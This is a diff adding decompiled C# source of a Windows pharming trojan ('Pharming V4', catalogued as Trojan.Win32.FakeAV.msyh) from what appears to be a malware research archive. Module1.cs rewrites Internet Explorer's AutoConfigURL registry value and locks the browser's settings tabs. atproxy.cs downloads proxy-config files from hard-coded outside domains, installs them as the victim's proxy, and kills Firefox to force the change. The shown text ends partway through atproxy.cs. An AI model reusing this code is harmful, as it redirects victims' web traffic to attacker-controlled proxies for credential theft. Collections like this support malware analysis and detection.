auto-decompiled msil via petikvx

add

MSIL/Trojan/Win32/F/Trojan.Win32.FakeAV.msyh-d3f833cca57e8fd32da1564163086307e943e07f01fc02218e28a85509c2cfe2/AssemblyInfo.cs

@@ -0,0 +1,13 @@
+using System.Reflection;
+using System.Runtime.InteropServices;
+
+[assembly: AssemblyCompany("")]
+[assembly: AssemblyProduct("Pharming V4")]
+[assembly: AssemblyCopyright("Copyright ©  2012")]
+[assembly: AssemblyTitle("Pharming V4")]
+[assembly: AssemblyDescription("")]
+[assembly: AssemblyFileVersion("1.0.0.0")]
+[assembly: Guid("775a76db-098b-4786-ae35-ed8d8c85047c")]
+[assembly: ComVisible(false)]
+[assembly: AssemblyTrademark("")]
+[assembly: AssemblyVersion("1.0.0.0")]

MSIL/Trojan/Win32/F/Trojan.Win32.FakeAV.msyh-d3f833cca57e8fd32da1564163086307e943e07f01fc02218e28a85509c2cfe2/Module1.cs

@@ -0,0 +1,45 @@
+// Decompiled with JetBrains decompiler
+// Type: Pharming_V4.Module1
+// Assembly: Pharming V4, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
+// MVID: 0A0AA727-6E9B-45EB-9818-CBBF4207AD4A
+// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan.Win32.FakeAV.msyh-d3f833cca57e8fd32da1564163086307e943e07f01fc02218e28a85509c2cfe2.exe
+
+using Microsoft.VisualBasic.CompilerServices;
+using Microsoft.Win32;
+using System;
+
+namespace Pharming_V4
+{
+  [StandardModule]
+  internal sealed class Module1
+  {
+    public static string osName = "UN";
+
+    [STAThread]
+    public static void Main()
+    {
+      pharmantiga.pharmantiga();
+      pharmnova.pharmnova();
+      so.so();
+      enviophp.enviophp();
+      criatxtinfect.criatxtinfect();
+      atproxy.atproxy();
+    }
+
+    public static object a(string b)
+    {
+      Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData);
+      Registry.CurrentUser.OpenSubKey("Software\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\\", true).SetValue("AutoConfigURL", (object) b);
+      Registry.CurrentUser.OpenSubKey("SOFTWARE\\Policies\\Microsoft\\Internet Explorer\\Control Panel", true).SetValue("AdvancedTab", (object) 0);
+      Registry.CurrentUser.OpenSubKey("SOFTWARE\\Policies\\Microsoft\\Internet Explorer\\Control Panel", true).SetValue("ResetWebSettings", (object) 0);
+      Registry.CurrentUser.OpenSubKey("SOFTWARE\\Policies\\Microsoft\\Internet Explorer\\Control Panel", true).SetValue("AdvancedTab", (object) 0);
+      Registry.CurrentUser.OpenSubKey("SOFTWARE\\Policies\\Microsoft\\Internet Explorer\\Control Panel", true).SetValue("ConnectionsTab", (object) 1);
+      Registry.LocalMachine.OpenSubKey("SOFTWARE\\Policies\\Microsoft\\Internet Explorer\\Control Panel", true).SetValue("AdvancedTab", (object) 0);
+      Registry.LocalMachine.OpenSubKey("SOFTWARE\\Policies\\Microsoft\\Internet Explorer\\Control Panel", true).SetValue("ResetWebSettings", (object) 0);
+      Registry.LocalMachine.OpenSubKey("SOFTWARE\\Policies\\Microsoft\\Internet Explorer\\Control Panel", true).SetValue("Autoconfig", (object) 0);
+      Registry.LocalMachine.OpenSubKey("SOFTWARE\\Policies\\Microsoft\\Internet Explorer\\Control Panel", true).SetValue("AdvancedTab", (object) 0);
+      Registry.LocalMachine.OpenSubKey("SOFTWARE\\Policies\\Microsoft\\Internet Explorer\\Control Panel", true).SetValue("ConnectionsTab", (object) 1);
+      return (object) b;
+    }
+  }
+}

MSIL/Trojan/Win32/F/Trojan.Win32.FakeAV.msyh-d3f833cca57e8fd32da1564163086307e943e07f01fc02218e28a85509c2cfe2/My/MyApplication.cs

@@ -0,0 +1,18 @@
+// Decompiled with JetBrains decompiler
+// Type: Pharming_V4.My.MyApplication
+// Assembly: Pharming V4, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
+// MVID: 0A0AA727-6E9B-45EB-9818-CBBF4207AD4A
+// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan.Win32.FakeAV.msyh-d3f833cca57e8fd32da1564163086307e943e07f01fc02218e28a85509c2cfe2.exe
+
+using Microsoft.VisualBasic.ApplicationServices;
+using System.CodeDom.Compiler;
+using System.ComponentModel;
+
+namespace Pharming_V4.My
+{
+  [EditorBrowsable(EditorBrowsableState.Never)]
+  [GeneratedCode("MyTemplate", "8.0.0.0")]
+  internal class MyApplication : ConsoleApplicationBase
+  {
+  }
+}

MSIL/Trojan/Win32/F/Trojan.Win32.FakeAV.msyh-d3f833cca57e8fd32da1564163086307e943e07f01fc02218e28a85509c2cfe2/My/MyComputer.cs

@@ -0,0 +1,24 @@
+// Decompiled with JetBrains decompiler
+// Type: Pharming_V4.My.MyComputer
+// Assembly: Pharming V4, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
+// MVID: 0A0AA727-6E9B-45EB-9818-CBBF4207AD4A
+// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan.Win32.FakeAV.msyh-d3f833cca57e8fd32da1564163086307e943e07f01fc02218e28a85509c2cfe2.exe
+
+using Microsoft.VisualBasic.Devices;
+using System.CodeDom.Compiler;
+using System.ComponentModel;
+using System.Diagnostics;
+
+namespace Pharming_V4.My
+{
+  [EditorBrowsable(EditorBrowsableState.Never)]
+  [GeneratedCode("MyTemplate", "8.0.0.0")]
+  internal class MyComputer : Computer
+  {
+    [DebuggerHidden]
+    [EditorBrowsable(EditorBrowsableState.Never)]
+    public MyComputer()
+    {
+    }
+  }
+}

MSIL/Trojan/Win32/F/Trojan.Win32.FakeAV.msyh-d3f833cca57e8fd32da1564163086307e943e07f01fc02218e28a85509c2cfe2/My/MyProject.cs

@@ -0,0 +1,189 @@
+// Decompiled with JetBrains decompiler
+// Type: Pharming_V4.My.MyProject
+// Assembly: Pharming V4, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
+// MVID: 0A0AA727-6E9B-45EB-9818-CBBF4207AD4A
+// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan.Win32.FakeAV.msyh-d3f833cca57e8fd32da1564163086307e943e07f01fc02218e28a85509c2cfe2.exe
+
+using Microsoft.VisualBasic;
+using Microsoft.VisualBasic.ApplicationServices;
+using Microsoft.VisualBasic.CompilerServices;
+using System;
+using System.CodeDom.Compiler;
+using System.Collections;
+using System.ComponentModel;
+using System.ComponentModel.Design;
+using System.Diagnostics;
+using System.Reflection;
+using System.Runtime.CompilerServices;
+using System.Runtime.InteropServices;
+using System.Windows.Forms;
+
+namespace Pharming_V4.My
+{
+  [HideModuleName]
+  [GeneratedCode("MyTemplate", "8.0.0.0")]
+  [StandardModule]
+  internal sealed class MyProject
+  {
+    private static readonly MyProject.ThreadSafeObjectProvider<MyComputer> m_ComputerObjectProvider = new MyProject.ThreadSafeObjectProvider<MyComputer>();
+    private static readonly MyProject.ThreadSafeObjectProvider<MyApplication> m_AppObjectProvider = new MyProject.ThreadSafeObjectProvider<MyApplication>();
+    private static readonly MyProject.ThreadSafeObjectProvider<User> m_UserObjectProvider = new MyProject.ThreadSafeObjectProvider<User>();
+    private static MyProject.ThreadSafeObjectProvider<MyProject.MyForms> m_MyFormsObjectProvider = new MyProject.ThreadSafeObjectProvider<MyProject.MyForms>();
+    private static readonly MyProject.ThreadSafeObjectProvider<MyProject.MyWebServices> m_MyWebServicesObjectProvider = new MyProject.ThreadSafeObjectProvider<MyProject.MyWebServices>();
+
+    [HelpKeyword("My.Computer")]
+    internal static MyComputer Computer
+    {
+      [DebuggerHidden] get => MyProject.m_ComputerObjectProvider.GetInstance;
+    }
+
+    [HelpKeyword("My.Application")]
+    internal static MyApplication Application
+    {
+      [DebuggerHidden] get => MyProject.m_AppObjectProvider.GetInstance;
+    }
+
+    [HelpKeyword("My.User")]
+    internal static User User
+    {
+      [DebuggerHidden] get => MyProject.m_UserObjectProvider.GetInstance;
+    }
+
+    [HelpKeyword("My.Forms")]
+    internal static MyProject.MyForms Forms
+    {
+      [DebuggerHidden] get => MyProject.m_MyFormsObjectProvider.GetInstance;
+    }
+
+    [HelpKeyword("My.WebServices")]
+    internal static MyProject.MyWebServices WebServices
+    {
+      [DebuggerHidden] get => MyProject.m_MyWebServicesObjectProvider.GetInstance;
+    }
+
+    [MyGroupCollection("System.Windows.Forms.Form", "Create__Instance__", "Dispose__Instance__", "My.MyProject.Forms")]
+    [EditorBrowsable(EditorBrowsableState.Never)]
+    internal sealed class MyForms
+    {
+      [ThreadStatic]
+      private static Hashtable m_FormBeingCreated;
+
+      [DebuggerHidden]
+      private static T Create__Instance__<T>(T Instance) where T : Form, new()
+      {
+        if ((object) Instance != null && !Instance.IsDisposed)
+          return Instance;
+        if (MyProject.MyForms.m_FormBeingCreated != null)
+        {
+          if (MyProject.MyForms.m_FormBeingCreated.ContainsKey((object) typeof (T)))
+            throw new InvalidOperationException(Utils.GetResourceString("WinForms_RecursiveFormCreate"));
+        }
+        else
+          MyProject.MyForms.m_FormBeingCreated = new Hashtable();
+        MyProject.MyForms.m_FormBeingCreated.Add((object) typeof (T), (object) null);
+        try
+        {
+          return new T();
+        }
+        catch (TargetInvocationException ex) when (
+        {
+          // ISSUE: unable to correctly present filter
+          ProjectData.SetProjectError((Exception) ex);
+          if (ex.InnerException != null)
+          {
+            SuccessfulFiltering;
+          }
+          else
+            throw;
+        }
+        )
+        {
+          throw new InvalidOperationException(Utils.GetResourceString("WinForms_SeeInnerException", ex.InnerException.Message), ex.InnerException);
+        }
+        finally
+        {
+          MyProject.MyForms.m_FormBeingCreated.Remove((object) typeof (T));
+        }
+      }
+
+      [DebuggerHidden]
+      private void Dispose__Instance__<T>(ref T instance) where T : Form
+      {
+        instance.Dispose();
+        instance = default (T);
+      }
+
+      [EditorBrowsable(EditorBrowsableState.Never)]
+      [DebuggerHidden]
+      public MyForms()
+      {
+      }
+
+      [EditorBrowsable(EditorBrowsableState.Never)]
+      public override bool Equals(object o) => base.Equals(RuntimeHelpers.GetObjectValue(o));
+
+      [EditorBrowsable(EditorBrowsableState.Never)]
+      public override int GetHashCode() => base.GetHashCode();
+
+      [EditorBrowsable(EditorBrowsableState.Never)]
+      internal new System.Type GetType() => typeof (MyProject.MyForms);
+
+      [EditorBrowsable(EditorBrowsableState.Never)]
+      public override string ToString() => base.ToString();
+    }
+
+    [MyGroupCollection("System.Web.Services.Protocols.SoapHttpClientProtocol", "Create__Instance__", "Dispose__Instance__", "")]
+    [EditorBrowsable(EditorBrowsableState.Never)]
+    internal sealed class MyWebServices
+    {
+      [DebuggerHidden]
+      [EditorBrowsable(EditorBrowsableState.Never)]
+      public override bool Equals(object o) => base.Equals(RuntimeHelpers.GetObjectValue(o));
+
+      [DebuggerHidden]
+      [EditorBrowsable(EditorBrowsableState.Never)]
+      public override int GetHashCode() => base.GetHashCode();
+
+      [EditorBrowsable(EditorBrowsableState.Never)]
+      [DebuggerHidden]
+      internal new System.Type GetType() => typeof (MyProject.MyWebServices);
+
+      [DebuggerHidden]
+      [EditorBrowsable(EditorBrowsableState.Never)]
+      public override string ToString() => base.ToString();
+
+      [DebuggerHidden]
+      private static T Create__Instance__<T>(T instance) where T : new() => (object) instance == null ? new T() : instance;
+
+      [DebuggerHidden]
+      private void Dispose__Instance__<T>(ref T instance) => instance = default (T);
+
+      [DebuggerHidden]
+      [EditorBrowsable(EditorBrowsableState.Never)]
+      public MyWebServices()
+      {
+      }
+    }
+
+    [ComVisible(false)]
+    [EditorBrowsable(EditorBrowsableState.Never)]
+    internal sealed class ThreadSafeObjectProvider<T> where T : new()
+    {
+      internal T GetInstance
+      {
+        [DebuggerHidden] get
+        {
+          if ((object) MyProject.ThreadSafeObjectProvider<T>.m_ThreadStaticValue == null)
+            MyProject.ThreadSafeObjectProvider<T>.m_ThreadStaticValue = new T();
+          return MyProject.ThreadSafeObjectProvider<T>.m_ThreadStaticValue;
+        }
+      }
+
+      [EditorBrowsable(EditorBrowsableState.Never)]
+      [DebuggerHidden]
+      public ThreadSafeObjectProvider()
+      {
+      }
+    }
+  }
+}

MSIL/Trojan/Win32/F/Trojan.Win32.FakeAV.msyh-d3f833cca57e8fd32da1564163086307e943e07f01fc02218e28a85509c2cfe2/My/MySettings.cs

@@ -0,0 +1,23 @@
+// Decompiled with JetBrains decompiler
+// Type: Pharming_V4.My.MySettings
+// Assembly: Pharming V4, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
+// MVID: 0A0AA727-6E9B-45EB-9818-CBBF4207AD4A
+// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan.Win32.FakeAV.msyh-d3f833cca57e8fd32da1564163086307e943e07f01fc02218e28a85509c2cfe2.exe
+
+using System.CodeDom.Compiler;
+using System.ComponentModel;
+using System.Configuration;
+using System.Runtime.CompilerServices;
+
+namespace Pharming_V4.My
+{
+  [GeneratedCode("Microsoft.VisualStudio.Editors.SettingsDesigner.SettingsSingleFileGenerator", "10.0.0.0")]
+  [EditorBrowsable(EditorBrowsableState.Advanced)]
+  [CompilerGenerated]
+  internal sealed class MySettings : ApplicationSettingsBase
+  {
+    private static MySettings defaultInstance = (MySettings) SettingsBase.Synchronized((SettingsBase) new MySettings());
+
+    public static MySettings Default => MySettings.defaultInstance;
+  }
+}

MSIL/Trojan/Win32/F/Trojan.Win32.FakeAV.msyh-d3f833cca57e8fd32da1564163086307e943e07f01fc02218e28a85509c2cfe2/My/MySettingsProperty.cs

@@ -0,0 +1,24 @@
+// Decompiled with JetBrains decompiler
+// Type: Pharming_V4.My.MySettingsProperty
+// Assembly: Pharming V4, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
+// MVID: 0A0AA727-6E9B-45EB-9818-CBBF4207AD4A
+// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan.Win32.FakeAV.msyh-d3f833cca57e8fd32da1564163086307e943e07f01fc02218e28a85509c2cfe2.exe
+
+using Microsoft.VisualBasic;
+using Microsoft.VisualBasic.CompilerServices;
+using System.ComponentModel.Design;
+using System.Diagnostics;
+using System.Runtime.CompilerServices;
+
+namespace Pharming_V4.My
+{
+  [HideModuleName]
+  [DebuggerNonUserCode]
+  [StandardModule]
+  [CompilerGenerated]
+  internal sealed class MySettingsProperty
+  {
+    [HelpKeyword("My.Settings")]
+    internal static MySettings Settings => MySettings.Default;
+  }
+}

MSIL/Trojan/Win32/F/Trojan.Win32.FakeAV.msyh-d3f833cca57e8fd32da1564163086307e943e07f01fc02218e28a85509c2cfe2/My/Resources/Resources.cs

@@ -0,0 +1,46 @@
+// Decompiled with JetBrains decompiler
+// Type: Pharming_V4.My.Resources.Resources
+// Assembly: Pharming V4, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
+// MVID: 0A0AA727-6E9B-45EB-9818-CBBF4207AD4A
+// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan.Win32.FakeAV.msyh-d3f833cca57e8fd32da1564163086307e943e07f01fc02218e28a85509c2cfe2.exe
+
+using Microsoft.VisualBasic;
+using Microsoft.VisualBasic.CompilerServices;
+using System.CodeDom.Compiler;
+using System.ComponentModel;
+using System.Diagnostics;
+using System.Globalization;
+using System.Resources;
+using System.Runtime.CompilerServices;
+
+namespace Pharming_V4.My.Resources
+{
+  [StandardModule]
+  [GeneratedCode("System.Resources.Tools.StronglyTypedResourceBuilder", "4.0.0.0")]
+  [HideModuleName]
+  [DebuggerNonUserCode]
+  [CompilerGenerated]
+  internal sealed class Resources
+  {
+    private static ResourceManager resourceMan;
+    private static CultureInfo resourceCulture;
+
+    [EditorBrowsable(EditorBrowsableState.Advanced)]
+    internal static ResourceManager ResourceManager
+    {
+      get
+      {
+        if (object.ReferenceEquals((object) Pharming_V4.My.Resources.Resources.resourceMan, (object) null))
+          Pharming_V4.My.Resources.Resources.resourceMan = new ResourceManager("Pharming_V4.Resources", typeof (Pharming_V4.My.Resources.Resources).Assembly);
+        return Pharming_V4.My.Resources.Resources.resourceMan;
+      }
+    }
+
+    [EditorBrowsable(EditorBrowsableState.Advanced)]
+    internal static CultureInfo Culture
+    {
+      get => Pharming_V4.My.Resources.Resources.resourceCulture;
+      set => Pharming_V4.My.Resources.Resources.resourceCulture = value;
+    }
+  }
+}

MSIL/Trojan/Win32/F/Trojan.Win32.FakeAV.msyh-d3f833cca57e8fd32da1564163086307e943e07f01fc02218e28a85509c2cfe2/Resources.resx

@@ -0,0 +1,120 @@
+<?xml version="1.0" encoding="utf-8"?>
+<root>
+  <!-- 
+    Microsoft ResX Schema 
+    
+    Version 2.0
+    
+    The primary goals of this format is to allow a simple XML format 
+    that is mostly human readable. The generation and parsing of the 
+    various data types are done through the TypeConverter classes 
+    associated with the data types.
+    
+    Example:
+    
+    ... ado.net/XML headers & schema ...
+    <resheader name="resmimetype">text/microsoft-resx</resheader>
+    <resheader name="version">2.0</resheader>
+    <resheader name="reader">System.Resources.ResXResourceReader, System.Windows.Forms, ...</resheader>
+    <resheader name="writer">System.Resources.ResXResourceWriter, System.Windows.Forms, ...</resheader>
+    <data name="Name1"><value>this is my long string</value><comment>this is a comment</comment></data>
+    <data name="Color1" type="System.Drawing.Color, System.Drawing">Blue</data>
+    <data name="Bitmap1" mimetype="application/x-microsoft.net.object.binary.base64">
+        <value>[base64 mime encoded serialized .NET Framework object]</value>
+    </data>
+    <data name="Icon1" type="System.Drawing.Icon, System.Drawing" mimetype="application/x-microsoft.net.object.bytearray.base64">
+        <value>[base64 mime encoded string representing a byte array form of the .NET Framework object]</value>
+        <comment>This is a comment</comment>
+    </data>
+                
+    There are any number of "resheader" rows that contain simple 
+    name/value pairs.
+    
+    Each data row contains a name, and value. The row also contains a 
+    type or mimetype. Type corresponds to a .NET class that support 
+    text/value conversion through the TypeConverter architecture. 
+    Classes that don't support this are serialized and stored with the 
+    mimetype set.
+    
+    The mimetype is used for serialized objects, and tells the 
+    ResXResourceReader how to depersist the object. This is currently not 
+    extensible. For a given mimetype the value must be set accordingly:
+    
+    Note - application/x-microsoft.net.object.binary.base64 is the format 
+    that the ResXResourceWriter will generate, however the reader can 
+    read any of the formats listed below.
+    
+    mimetype: application/x-microsoft.net.object.binary.base64
+    value   : The object must be serialized with 
+            : System.Runtime.Serialization.Formatters.Binary.BinaryFormatter
+            : and then encoded with base64 encoding.
+    
+    mimetype: application/x-microsoft.net.object.soap.base64
+    value   : The object must be serialized with 
+            : System.Runtime.Serialization.Formatters.Soap.SoapFormatter
+            : and then encoded with base64 encoding.
+
+    mimetype: application/x-microsoft.net.object.bytearray.base64
+    value   : The object must be serialized into a byte array 
+            : using a System.ComponentModel.TypeConverter
+            : and then encoded with base64 encoding.
+    -->
+  <xsd:schema id="root" xmlns="" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:msdata="urn:schemas-microsoft-com:xml-msdata">
+    <xsd:import namespace="http://www.w3.org/XML/1998/namespace" />
+    <xsd:element name="root" msdata:IsDataSet="true">
+      <xsd:complexType>
+        <xsd:choice maxOccurs="unbounded">
+          <xsd:element name="metadata">
+            <xsd:complexType>
+              <xsd:sequence>
+                <xsd:element name="value" type="xsd:string" minOccurs="0" />
+              </xsd:sequence>
+              <xsd:attribute name="name" use="required" type="xsd:string" />
+              <xsd:attribute name="type" type="xsd:string" />
+              <xsd:attribute name="mimetype" type="xsd:string" />
+              <xsd:attribute ref="xml:space" />
+            </xsd:complexType>
+          </xsd:element>
+          <xsd:element name="assembly">
+            <xsd:complexType>
+              <xsd:attribute name="alias" type="xsd:string" />
+              <xsd:attribute name="name" type="xsd:string" />
+            </xsd:complexType>
+          </xsd:element>
+          <xsd:element name="data">
+            <xsd:complexType>
+              <xsd:sequence>
+                <xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
+                <xsd:element name="comment" type="xsd:string" minOccurs="0" msdata:Ordinal="2" />
+              </xsd:sequence>
+              <xsd:attribute name="name" type="xsd:string" use="required" msdata:Ordinal="1" />
+              <xsd:attribute name="type" type="xsd:string" msdata:Ordinal="3" />
+              <xsd:attribute name="mimetype" type="xsd:string" msdata:Ordinal="4" />
+              <xsd:attribute ref="xml:space" />
+            </xsd:complexType>
+          </xsd:element>
+          <xsd:element name="resheader">
+            <xsd:complexType>
+              <xsd:sequence>
+                <xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
+              </xsd:sequence>
+              <xsd:attribute name="name" type="xsd:string" use="required" />
+            </xsd:complexType>
+          </xsd:element>
+        </xsd:choice>
+      </xsd:complexType>
+    </xsd:element>
+  </xsd:schema>
+  <resheader name="resmimetype">
+    <value>text/microsoft-resx</value>
+  </resheader>
+  <resheader name="version">
+    <value>2.0</value>
+  </resheader>
+  <resheader name="reader">
+    <value>System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
+  </resheader>
+  <resheader name="writer">
+    <value>System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
+  </resheader>
+</root>

MSIL/Trojan/Win32/F/Trojan.Win32.FakeAV.msyh-d3f833cca57e8fd32da1564163086307e943e07f01fc02218e28a85509c2cfe2/Trojan.Win32.FakeAV.msyh.csproj

@@ -0,0 +1,60 @@
+<?xml version="1.0" encoding="utf-8"?>
+<Project DefaultTargets="Build" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
+  <!--Project was exported from assembly: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan.Win32.FakeAV.msyh-d3f833cca57e8fd32da1564163086307e943e07f01fc02218e28a85509c2cfe2.exe-->
+  <PropertyGroup>
+    <Configuration Condition=" '$(Configuration)' == '' ">Debug</Configuration>
+    <Platform Condition=" '$(Platform)' == '' ">AnyCPU</Platform>
+    <ProjectGuid>{FF8411B8-2348-449F-A302-CC96F034DF70}</ProjectGuid>
+    <OutputType>WinExe</OutputType>
+    <AssemblyName>Pharming V4</AssemblyName>
+    <ApplicationVersion>1.0.0.0</ApplicationVersion>
+    <RootNamespace>Pharming_V4</RootNamespace>
+  </PropertyGroup>
+  <PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Debug|AnyCPU' ">
+    <PlatformTarget>AnyCPU</PlatformTarget>
+    <DebugSymbols>true</DebugSymbols>
+    <DebugType>full</DebugType>
+    <Optimize>false</Optimize>
+    <OutputPath>bin\Debug\</OutputPath>
+    <DefineConstants>DEBUG;TRACE</DefineConstants>
+    <ErrorReport>prompt</ErrorReport>
+    <WarningLevel>4</WarningLevel>
+  </PropertyGroup>
+  <PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Release|AnyCPU' ">
+    <PlatformTarget>AnyCPU</PlatformTarget>
+    <DebugType>pdbonly</DebugType>
+    <Optimize>true</Optimize>
+    <OutputPath>bin\Release\</OutputPath>
+    <DefineConstants>TRACE</DefineConstants>
+    <ErrorReport>prompt</ErrorReport>
+    <WarningLevel>4</WarningLevel>
+  </PropertyGroup>
+  <ItemGroup>
+    <Reference Include="Microsoft.VisualBasic" />
+    <Reference Include="System" />
+    <Reference Include="System.Windows.Forms" />
+  </ItemGroup>
+  <ItemGroup>
+    <Compile Include="atproxy.cs" />
+    <Compile Include="criatxtinfect.cs" />
+    <Compile Include="enviophp.cs" />
+    <Compile Include="firefox.cs" />
+    <Compile Include="Module1.cs" />
+    <Compile Include="pharmantiga.cs" />
+    <Compile Include="pharmnova.cs" />
+    <Compile Include="phpenvioinfect.cs" />
+    <Compile Include="smtpenvioinfect.cs" />
+    <Compile Include="so.cs" />
+    <Compile Include="My\MyApplication.cs" />
+    <Compile Include="My\MyComputer.cs" />
+    <Compile Include="My\MyProject.cs" />
+    <Compile Include="My\MySettings.cs" />
+    <Compile Include="My\MySettingsProperty.cs" />
+    <Compile Include="My\Resources\Resources.cs" />
+    <Compile Include="AssemblyInfo.cs" />
+  </ItemGroup>
+  <ItemGroup>
+    <EmbeddedResource Include="Resources.resx" />
+  </ItemGroup>
+  <Import Project="$(MSBuildBinPath)\Microsoft.CSharp.targets" />
+</Project>

MSIL/Trojan/Win32/F/Trojan.Win32.FakeAV.msyh-d3f833cca57e8fd32da1564163086307e943e07f01fc02218e28a85509c2cfe2/Trojan.Win32.FakeAV.msyh.sln

@@ -0,0 +1,20 @@
+
+Microsoft Visual Studio Solution File, Format Version 9.00
+# Visual Studio 2005
+Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "Pharming V4", "Trojan.Win32.FakeAV.msyh-d3f833cca57e8fd32da1564163086307e943e07f01fc02218e28a85509c2cfe2.csproj", "{FF8411B8-2348-449F-A302-CC96F034DF70}"
+EndProject
+Global
+	GlobalSection(SolutionConfigurationPlatforms) = preSolution
+		Debug|Any CPU = Debug|Any CPU
+		Release|Any CPU = Release|Any CPU
+	EndGlobalSection
+	GlobalSection(ProjectConfigurationPlatforms) = postSolution
+		{FF8411B8-2348-449F-A302-CC96F034DF70}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
+		{FF8411B8-2348-449F-A302-CC96F034DF70}.Debug|Any CPU.Build.0 = Debug|Any CPU
+		{FF8411B8-2348-449F-A302-CC96F034DF70}.Release|Any CPU.ActiveCfg = Release|Any CPU
+		{FF8411B8-2348-449F-A302-CC96F034DF70}.Release|Any CPU.Build.0 = Release|Any CPU
+	EndGlobalSection
+	GlobalSection(SolutionProperties) = preSolution
+		HideSolutionNode = FALSE
+	EndGlobalSection
+EndGlobal

MSIL/Trojan/Win32/F/Trojan.Win32.FakeAV.msyh-d3f833cca57e8fd32da1564163086307e943e07f01fc02218e28a85509c2cfe2/atproxy.cs

@@ -0,0 +1,214 @@
+// Decompiled with JetBrains decompiler
+// Type: Pharming_V4.atproxy
+// Assembly: Pharming V4, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
+// MVID: 0A0AA727-6E9B-45EB-9818-CBBF4207AD4A
+// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan.Win32.FakeAV.msyh-d3f833cca57e8fd32da1564163086307e943e07f01fc02218e28a85509c2cfe2.exe
+
+using Microsoft.VisualBasic.CompilerServices;
+using System;
+using System.Diagnostics;
+using System.IO;
+using System.Net;
+using System.Threading;
+
+namespace Pharming_V4
+{
+  [StandardModule]
+  internal sealed class atproxy
+  {
+    public static string pac1;
+    public static string pac2;
+    public static string pac3;
+    public static string pac4;
+    public static string pac5;
+    public static string pacfinal;
+
+    public static void atproxy()
+    {
+      string tempPath = Path.GetTempPath();
+      Pharming_V4.atproxy.pac1 = "http://www.tudolinux.com/p.txt";
+      Pharming_V4.atproxy.pac2 = "http://www.tudolinux.com/p.txt";
+      Pharming_V4.atproxy.pac3 = "http://www.tudominerim.com/p.txt";
+      Pharming_V4.atproxy.pac4 = "http://www.tudominerim.com/p.txt";
+      Pharming_V4.atproxy.pac5 = "http://www.tudominerim.com/p.txt";
+      Random random = new Random();
+      while (true)
+      {
+        do
+        {
+          int num;
+          do
+          {
+            num = random.Next(1, 5);
+            if (num == 1)
+            {
+              try
+              {
+                new WebClient().DownloadFile(Pharming_V4.atproxy.pac1, tempPath + "\\config.jsp");
+              }
+              catch (Exception ex)
+              {
+                ProjectData.SetProjectError(ex);
+                ProjectData.ClearProjectError();
+              }
+              if (System.IO.File.Exists(tempPath + "\\config.jsp"))
+              {
+                StreamReader streamReader = new StreamReader(tempPath + "\\config.jsp");
+                string end = streamReader.ReadToEnd();
+                streamReader.Close();
+                if (end.Contains("PROXY \\x77\\x77\\x77\\x2e\\x74\\x75\\x64\\x6f\\x6c\\x69\\x6e\\x75\\x78\\x2e\\x63\\x6f\\x6d"))
+                {
+                  Module1.a(Pharming_V4.atproxy.pac1);
+                  Pharming_V4.atproxy.pacfinal = Pharming_V4.atproxy.pac1;
+                  Process[] processesByName = Process.GetProcessesByName("firefox");
+                  int index = 0;
+                  while (index < processesByName.Length)
+                  {
+                    processesByName[index].Kill();
+                    checked { ++index; }
+                  }
+                  firefox.firefox();
+                  Thread.Sleep(1000000);
+                }
+                else
+                  Console.WriteLine("Atualizado");
+              }
+            }
+            else if (num == 2)
+            {
+              try
+              {
+                new WebClient().DownloadFile(Pharming_V4.atproxy.pac2, tempPath + "\\config.jsp");
+              }
+              catch (Exception ex)
+              {
+                ProjectData.SetProjectError(ex);
+                ProjectData.ClearProjectError();
+              }
+              if (System.IO.File.Exists(tempPath + "\\config.jsp"))
+              {
+                StreamReader streamReader = new StreamReader(tempPath + "\\config.jsp");
+                string end = streamReader.ReadToEnd();
+                streamReader.Close();
+                if (end.Contains("PROXY \\x77\\x77\\x77\\x2e\\x74\\x75\\x64\\x6f\\x6c\\x69\\x6e\\x75\\x78\\x2e\\x63\\x6f\\x6d"))
+                {
+                  Module1.a(Pharming_V4.atproxy.pac2);
+                  Pharming_V4.atproxy.pacfinal = Pharming_V4.atproxy.pac2;
+                  Process[] processesByName = Process.GetProcessesByName("firefox");
+                  int index = 0;
+                  while (index < processesByName.Length)
+                  {
+                    processesByName[index].Kill();
+                    checked { ++index; }
+                  }
+                  firefox.firefox();
+                  Thread.Sleep(1000000);
+                }
+                else
+                  Console.WriteLine("Atualizado");
+              }
+            }
+            else if (num == 3)
+            {
+              try
+              {
+                new WebClient().DownloadFile(Pharming_V4.atproxy.pac3, tempPath + "\\config.jsp");
+              }
+              catch (Exception ex)
+              {
+                ProjectData.SetProjectError(ex);
+                ProjectData.ClearProjectError();
+              }
+              if (System.IO.File.Exists(tempPath + "\\config.jsp"))
+              {
+                StreamReader streamReader = new StreamReader(tempPath + "\\config.jsp");
+                string end = streamReader.ReadToEnd();
+                streamReader.Close();
